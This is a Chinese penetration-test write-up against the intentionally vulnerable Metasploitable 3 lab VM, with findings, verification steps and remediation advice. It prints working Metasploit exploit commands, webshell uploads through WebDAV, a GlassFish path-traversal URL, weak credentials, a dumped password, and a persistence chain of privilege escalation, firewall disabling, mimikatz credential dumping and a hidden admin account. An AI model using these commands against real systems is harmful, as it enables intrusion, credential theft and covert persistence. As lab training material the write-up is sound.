Metasploitable 3靶场分享
这是一款由多款服务以及多种脚本语言所支撑的大型漏洞靶机,官网提供了脚本文件托管在了Github上。下面我将会同大家来完成针对此次靶机的一次尽可能全面的渗透测试。
资产收集
资产收集的全面性决定了每一次渗透测试结果的完整性,所以我在资产收集花费了大把功夫。首先我们需要确定靶机的 IP地址,由于是虚拟机,我们需要先确定网络连接模式,然后确认虚拟网段
再通过nmap去探测以下C段下的存活主机,从而确定虚拟机的 IP地址(192.168.56.101)
> nmap -sn 192.168.56.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2021-07-12 12:17
Nmap scan report for 192.168.56.100
Host is up (0.00s latency).
MAC Address: 08:00:27:C4:FA:DC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00s latency).
确认 IP后,我们需要收集靶机所开启的服务、使用的框架、组件等信息,这里我使用了 nmap + Goby
Goby所收集的资产,我们需要尤为关注每个端口所代表的什么服务,组件中是否有可利用的漏洞,后续我们也可以通过从每个端口逐一去进行漏洞挖掘,从而防止我们漏掉某个关键点。
使用nmap进行二次收集
漏洞挖掘
通过每个端口去进行漏洞挖掘,共发现了14个安全漏洞,按漏洞风险分布为:高风险7个,中风险5个,低风险2个。
发现已植入的web shell后门
风险等级:高危
漏洞描述: 发现在根目录下存在caidao.asp文件,使用burpsuite工具对其进行口令爆破攻击获取其连接webshell密码为 password,后通过查看主机日志和caidao.asp文件内容确认是攻击行为。
漏洞位置:http://192.168.56.101/caidao.asp
漏洞验证:使用burp suite探测其密码为password
使用用具连接其后门验证:
整改建议:采取应急响应处置web shell,并查看系统是否存在其他后门、隐藏用户等。
ManageEngine Desktop Central 9任意文件上传漏洞
风险等级:高危
漏洞描述:任意文件上传漏洞,攻击者可以通过任意文件上传的方式获取站点的权限,从而控制计算机。
漏洞位置:http://192.168.56.101:8022
漏洞验证:
> msfconsole
> use exploit/windows/http/manageengine_connectionid_write
> set rhosts 192.168.56.101
> set rport 8022
> set lhost 192.168.56.102
> exploit
整改建议:升级ManageEngine Desktop Central 9组件版本。
JenKins 功能未授权访问导致的远程命令执行漏洞
风险等级:高危
漏洞描述:Jenkins功能未授权访问导致的远程命令执行漏洞,Jenkins管理登陆之后,后台”系统管理”功能,有个”脚本命令行的”功能,它的作用是执行用于管理或故障探测或诊断的任意脚本命令,利用该功能,可以执行系统命令,该功能实际上Jenkins正常的功能,由于很多管理账号使用了弱口令,或者管理后台存在未授权访问,导致该功能会对Jenkins系统服务器产生比较严重的影响和危害。
漏洞位置:
http://192.168.56.101:8484/script
http://192.168.56.101:8484/computer/(master)/script
漏洞验证:
整改建议:屏蔽未授权IP访问,或者配置Jenkins验证。
Jenkins-CI脚本-控制台Java执行
风险等级:高危
漏洞描述:Jenkins-CI Script-Console Java Execution
漏洞位置:http://192.168.56.101:8484/
漏洞验证:
msf6 > use exploit/multi/http/jenkins_script_console
msf6 exploit(multi/http/jenkins_script_console) > set rhosts 192.168.56.101
msf6 exploit(multi/http/jenkins_script_console) > set rport 8484
msf6 exploit(multi/http/jenkins_script_console) > set lhost 192.168.56.102
msf6 exploit(multi/http/jenkins_script_console) > set lport 4445
使用Jenkins-CI Script-Console Java Execution模块
整改建议:
去官网中升级到以下对应版本:
Jenkins 2.57
JenkinsLTS 2.46.2
ElasticSearch RCE(CVE-2014-3120)
风险等级:高危
漏洞描述:ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。
漏洞位置:http://192.168.56.101:9200
漏洞验证:
漏洞利用需要ElasticSearch中存有数据,所以先创建一条数据
利用get shell工具进行RCE:
整改建议:
-
升级版本
-
在elasticsearch.yml里配置script.disable_dynamic: true
WebDAV PUT写入web shell
风险等级:高危
漏洞描述: WebDAV PUT写文件,如果 IIS在 Web服务扩展中开启了 WebDAV,并且网站主目录允许用户持有读写权限,那么就可以进行 PUT写文件操作。如果允许脚本资源访问,那么可以直接写入可执行文件进行 Getshell。
漏洞位置:http://192.168.56.101:8585/uploads/
漏洞验证:
通过KaLi工具DAVTest将发送各种不同类型的文件,以确定可以上传的文件
davtest /root/test.php -url http://192.168.56.101:8585/uploads/
通过 cadaver对目标IIS系统进行PUT写文件操作
cadaver http://192.168.56.101:8585/uploads/
dav:/uploads/> put /root/test.php
连接web hell
整改建议:
1、升级 IIS版本
2、关闭不必要的 IIS扩展服务
3、进行防火墙出入规则的限制,限制不必要的网站写权限,关闭资源访问
Java JMX 服务器不安全配置 Java 代码执行
风险等级:高危
漏洞描述:Java JMX 服务器不安全配置 Java 代码执行,通过Metasploit模块利用Java JMX接口的不安全配置,这将允许从任何远程(HTTP)URL加载类
漏洞位置:http://192.168.56.101:1617
漏洞验证:
msf6 > use exploit/multi/misc/java_jmx_server
整改建议:将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。
SSH存在弱口令
风险等级:中危
漏洞描述:攻击者可以通过口令破解攻击破解出脆弱的SSH账号密码。
漏洞位置:
192.168.56.101:22
漏洞验证:存在SSH弱口令 vagrant\vagrant
整改建议:加强SSH密码复杂度
任意文件读取漏洞(CVE-2017-1000028-LFI)
风险等级:中危
漏洞描述:GlassFish由于开启了本地文件包含函数,并攻击者可以利用跳转的方式进行本地任意文件读取。
漏洞位置:https://192.168.56.101:4848/theme/META-INF/
漏洞验证:
漏洞POC:
https://192.168.56.101:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
整改建议:参考连接:https://vulhub.org/#/environments/glassfish/4.1.0/
ManageEngine Desktop Central 9 admin存在弱口令
风险等级:中危
漏洞描述:管理员账户存在弱口令:admin\admin
漏洞位置:http://192.168.56.101:8022
漏洞验证:
整改建议:增加管理员用户的密码复杂度
FTP服务存在弱口令
风险等级:中危
漏洞描述:FTP文件服务器存在弱口令,攻击者可以通过口令破解的方式获取FTP服务器的账号密码。
漏洞位置:ftp://192.168.56.101/
漏洞验证:
login: administrator password: vagrantlogin: vagrant password: vagrant
整改建议:增加FTP服务器账号密码复杂度
phpinfo信息泄露
风险等级:低危
漏洞描述:WampServer 服务泄露 phpinfo页面,攻击者可以利用该页面获取服务器大量敏感信息。
漏洞位置:http://192.168.56.101:8585/?phpinfo=1
漏洞验证:
模拟攻击
通过以上外网的渗透测试,发现共有 7 处入口供攻击者获取主机web shell。
以下主机漏洞扫描需要以其中一种方式进入到目标主机,这里任选一处
-
WebDAV PUT写入web shell
通过 cadaver对目标IIS系统进行PUT写文件操作
cadaver http://192.168.56.101:8585/uploads/dav:/uploads/> put /root/test.php
-
对当前用户进行提权操作
通过systeminfo中补丁信息与漏洞库进行对比发现:
拥有137个已知漏洞的数据库的407个潜在危害
其中可以利用的提权漏洞有如下
选择其中最为经典的MS16-075(烂土豆)进行提权
首先反弹shell到Meterpreter上
上传烂土豆到服务器上并执行进行提权
-
维持权限
切换进程
添加隐藏用户并添加到管理员组
开启3389远程连接
cscript c:\windows\system32\scregedit.wsf /ar 0
关闭防火墙或开启3389入站规则
netsh firwall set opmode disable
远程桌面连接
上传mimikatz抓取所以用户账号密码
Username : sshd_server
Password : D@rj33l1ng
将隐藏用户深度隐藏
添加隐藏用户 net user mark$ /add
将 mark$ 添加至管理员组 net localgroup administrators mark$ /add
从注册表中导出 mark$信息、administrator信息
4.将mark$的F值替换成administrator的F值
5.从命令行删除 mark$用户
6.点击导出mark$的文件生成隐藏用户
整改建议
通过本次渗透测试发现新网站系统存在的薄弱环节较多,后续完全修复工作量较大:
及时修补如上高危、中危漏洞,加强系统的验证机制。
应用系统在开发过程中,应考虑网站应具备的安全功能需求,如:登录框的验证码机制、口令的复杂度限制、口令的加密传输、后台管理页面限定IP访问及上传功能安全机制等方面;
建立统一、切实可用的的基础环境规范并落实,如:中间件的安装部署基线、操作系统的安装部署基线等;
部署网站防篡改及网页防火墙系统,保护DMZ区域内的所有WEB网站。
来源:freebuf.com 2021-07-12 13:52:10 by: tt12345
请登录后发表评论
注册